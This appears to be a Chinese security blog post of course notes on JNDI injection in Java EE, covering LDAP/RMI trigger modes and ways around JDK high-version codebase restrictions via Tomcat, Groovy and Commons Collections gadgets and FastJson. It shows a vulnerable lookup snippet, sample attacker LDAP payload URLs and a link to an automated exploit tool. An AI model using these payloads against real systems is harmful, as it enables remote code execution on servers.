JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

Ethan医生7个月前代码审计197




#JNDI注入-低版本-原生开发&触发模式

-重要知识:

1、JNDI,LDAP,RMI,反序列化关系

2、LDAP,RMI利用时JDK版本限制

3、JDK高版本绕过方法的所需条件

注:前面2个知识点可以参考第37天直播内容

 

-原生开发

String jndi="ldap://xx.xx.xx.xx/xx";

InitialContext initialContext = new InitialContext();

initialContext.lookup(jndi);

 

-触发模式

1、远程引用模式(基于JDK版本)

2、本地引用模式(基于依赖Jar)

3、反序列化模式(基于gadget链)

针对JDK版本的jndi注入

针对依赖jar包的jndi注入

针对gadget链的jndi注入

 

#JNDI注入-高版本-反序列化&FastJson

参考文章:https://paper.seebug.org/942/

参考文章:https://tttang.com/archive/1405

1、原生开发RMI高版本绕过:(利用依赖jar包绕过)

com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,

即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。

-Tomcat依赖

-Groovy依赖

-其他依赖(见参考)

 

2、原生开发LDAP高版本绕过:(利用反序列化链绕过(也要依赖包))

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,

导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,

当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。

-反序列化链(借助链)

-其他依赖链(见参考)

 

3、FastJson组件LADP高版本绕过:

-利用今天讲到的gadget链去打高版本

ldap://127.0.0.1:6666/exp

ldap://192.168.1.4:1389/deserialCommonsCollections7

 

-自动化项目(解决几个组件的反序列化的注入高版本问题)

https://github.com/exp1orer/JNDI-Inject-Exploit

 

JNDI注入高版本的绕过:

看依赖jar包(反序列化链也是看依赖jar包)

具体那些可以:Tomcat Groovy CC

参考:https://tttang.com/archive/1405


标签: JavaEEJNDI

相关文章

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

#FastJson反序列化链知识点1、为什么触发方法会存在反序列化?2、利用链为什么要那样写才能触发?3、高版本中有哪些防御手段又怎么绕过的? #FastJson反序列化链分析基础参考:ht...

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

JavaEE开发篇&手搓内存马&Listen监听器&Filter过滤器&Servlet路由器

#知识预备:1、三大类:Listen,Filter,Servlet2、内存马技术解读(类型,植入,查杀等)3、其他技术原理分类(见上图见打包资源)(红队方向)了解什么是内存马,它有那些类型,和常规Sh...

代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

#JavaEE审计-第三方组件安全1、找存在漏洞的第三方组件(Package Checker插件)2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)3、找可控地方进行测试检测(根据网上已知漏洞利用...

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

JavaEE开发篇&Shiro反序列化&CB1链&source入口&sink执行&gadget链

#Shiro反序列化链知识点:1、Shiro用途和验证逻辑2、Shiro反序列化怎么造成3、Shiro反序列化漏洞利用 #Shiro反序列化链分析当获取用户请求时,大致的关键处理过程如下:·...

JavaEE开发篇&文件安全&上传下载读取写入&功能点入口&Filter过滤器

#JavaEE审计-文件安全-上传&下载&读取&写入等1、搜索类别:业务关键字&相关操作类&封装关键字2、功能点也适用,直接找文件操作功能进行代码追溯new F...

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

#补充JS逆向浏览器插件Hook JS算法脚本1、安装Tampermonkey(扶墙谷歌商店安装)2、添加和启用JS插件3、测试登录看控制台脚本地址:https://github.com/Captai...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。